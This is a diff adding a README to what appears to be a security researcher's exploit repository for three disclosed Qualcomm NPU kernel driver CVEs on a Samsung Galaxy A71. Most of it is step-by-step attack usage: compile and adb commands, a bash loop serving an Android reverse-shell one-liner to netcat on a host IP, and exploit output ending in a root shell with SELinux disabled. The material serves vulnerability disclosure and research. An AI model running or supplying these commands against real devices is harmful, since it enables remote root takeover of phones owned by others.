|
| 1 | +## Exploit for Qualcomm NPU bugs (CVE-2021-1940, CVE-2021-1968, CVE-2021-1969) |
| 2 | + |
| 3 | +The write up can be found [here](https://securitylab.github.com/research/qualcomm_npu). These are bugs in the Qualcomm NPU driver I reported between November 2020 and December 2020. The GitHub Advisories for these bugs are: [CVE-2021-1940/GHSL-2021-1029](https://securitylab.github.com/advisories/GHSL-2021-1029-npu/), [CVE-2021-1968/GHSL-2021-1030](https://securitylab.github.com/advisories/GHSL-2021-1030-npu/) and [CVE-2021-1969/GHSL-2021-1031](https://securitylab.github.com/advisories/GHSL-2021-1031-npu/). These bugs can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain. Kernel code are executed in the context of the root user and the exploit also disable SELinux. |
| 4 | + |
| 5 | +The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3BUB5, Baseband A715FXXU3BUB4 and Kernel version 4.14.190-20973144. The offsets in the exploit refers to that version of the firmware. When running on other devices, the `FAST_CPU` macro may also need to change so that the code is executed on the fastest cpu on the device. The exploit should be compiled with either `-O2` or `-O3` level of optimization to ensure the cpu runs fast enough to win the race. For reference, I used the following command to compile with clang in ndk-21: |
| 6 | + |
| 7 | +``` |
| 8 | +android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O3 npu_shell.c sendmsg_spray.c -o npu_shell |
| 9 | +``` |
| 10 | + |
| 11 | +The exploit will gain arbitrary kernel address read, write and kernel code execution. It'll then use these primitives to disable SELinux and pop a reverse root shell. To prepare for the reverse root shell, on the host machine, run a script that listens to port `4446`: |
| 12 | + |
| 13 | +``` |
| 14 | +#!/bin/bash |
| 15 | +
|
| 16 | +while [ 1 ]; |
| 17 | +do |
| 18 | + echo -e "/system/bin/tail -n 0 -f /data/local/tmp/1 | /system/bin/sh -i 2>&1 | /system/bin/nc <HOST_IP> 4445 1> /data/local/tmp/1" | nc -l -p 4446; |
| 19 | +done |
| 20 | +``` |
| 21 | + |
| 22 | +With `<HOST_IP>` replaced by the IP address of the host machine. The `HOST_IP` macro in `npu_shell.c` also needs to be replaced. |
| 23 | + |
| 24 | +The reason for this extra step is because `nc` on Android does not support the `-e` flag. (See "Popping a (reverse) shell" in [MMS Exploit Part 5: Defeating Android ASLR, Getting RCE](https://googleprojectzero.blogspot.com/2020/08/mms-exploit-part-5-defeating-aslr-getting-rce.html) of Mateusz Jurczyk and also the [reference](https://www.keuperict.nl/posts/security/2017/08/26/netcat-without-e/) quoted in the article) Then listens to port `4445` on the host machine: |
| 25 | + |
| 26 | +``` |
| 27 | +$ nc -nlvp 4445 |
| 28 | +Listening on 0.0.0.0 4445 |
| 29 | +``` |
| 30 | + |
| 31 | +To test, cross compile the file `npu_shell.c` and then execute with `adb`: |
| 32 | + |
| 33 | +``` |
| 34 | +adb push npu_shell /data/local/tmp |
| 35 | +adb shell |
| 36 | +a71:/ $ /data/local/tmp/npu_shell |
| 37 | +``` |
| 38 | + |
| 39 | +The exploit is fairly reliable on the device tested. If successful, it will use the kernel code execution primitive to switch off SELinux and create a reverse root shell: |
| 40 | + |
| 41 | +``` |
| 42 | +a71:/ $ /data/local/tmp/npu_sploit |
| 43 | +[+] host_irq_wq offset: ffffff800919d170 |
| 44 | +a71:/ $ [+] network_stats_buf (controlled data) address: 0xffffffc06eb7c000 |
| 45 | +[+] reallocation data initialized! |
| 46 | +[ ] initializing reallocation threads, please wait... |
| 47 | +[+] 4 reallocation threads ready! |
| 48 | +[+] trigger uaf |
| 49 | +[+] reallocation data initialized! |
| 50 | +[ ] initializing reallocation threads, please wait... |
| 51 | +[+] 8 reallocation threads ready! |
| 52 | +[-] failed to overwrite selinux_enforcing |
| 53 | +[+] network_stats_buf (controlled data) address: 0xffffffc0b3c50000 |
| 54 | +[+] reallocation data initialized! |
| 55 | +[ ] initializing reallocation threads, please wait... |
| 56 | +[+] 4 reallocation threads ready! |
| 57 | +[+] trigger uaf |
| 58 | +[+] reallocation data initialized! |
| 59 | +[ ] initializing reallocation threads, please wait... |
| 60 | +[+] 8 reallocation threads ready! |
| 61 | +[+] successfully overwritten selinux_enforcing |
| 62 | +``` |
| 63 | + |
| 64 | +After that, SELinux will be disabled. To get a reverse root shell, follow these steps (For some reason, I need to do some manual steps to get the shell) It is important to first restart the `nc` server that is listening to port 4445 before doing anything on the target. (The restarting of the `nc` server can probably be automated) |
| 65 | + |
| 66 | +1. Go to the terminal that listens to port 4445 and it should have received a packet: |
| 67 | +``` |
| 68 | +$nc -nlvp 4445 |
| 69 | +Listening on 0.0.0.0 4445 |
| 70 | +Connection received on 12.34.56.78 37532 |
| 71 | +
|
| 72 | +``` |
| 73 | +2. Kill `nc` with `Ctrl C` and then start it again |
| 74 | +``` |
| 75 | +^C |
| 76 | +$ nc -nlvp 4445 |
| 77 | +Listening on 0.0.0.0 4445 |
| 78 | +
|
| 79 | +``` |
| 80 | +3. Go back to the Android target, press enter to unfreeze, the `nc` terminal should now have a root shell: |
| 81 | +``` |
| 82 | +Listening on 0.0.0.0 4445 |
| 83 | +Connection received on 12.34.56.78 37566 |
| 84 | +/system/bin/sh: can't find tty fd: No such device or address |
| 85 | +/system/bin/sh: warning: won't have full job control |
| 86 | +:/ # id |
| 87 | +uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0 |
| 88 | +:/ # getenforce |
| 89 | +Permissive |
| 90 | +:/ # |
| 91 | +``` |
0 commit comments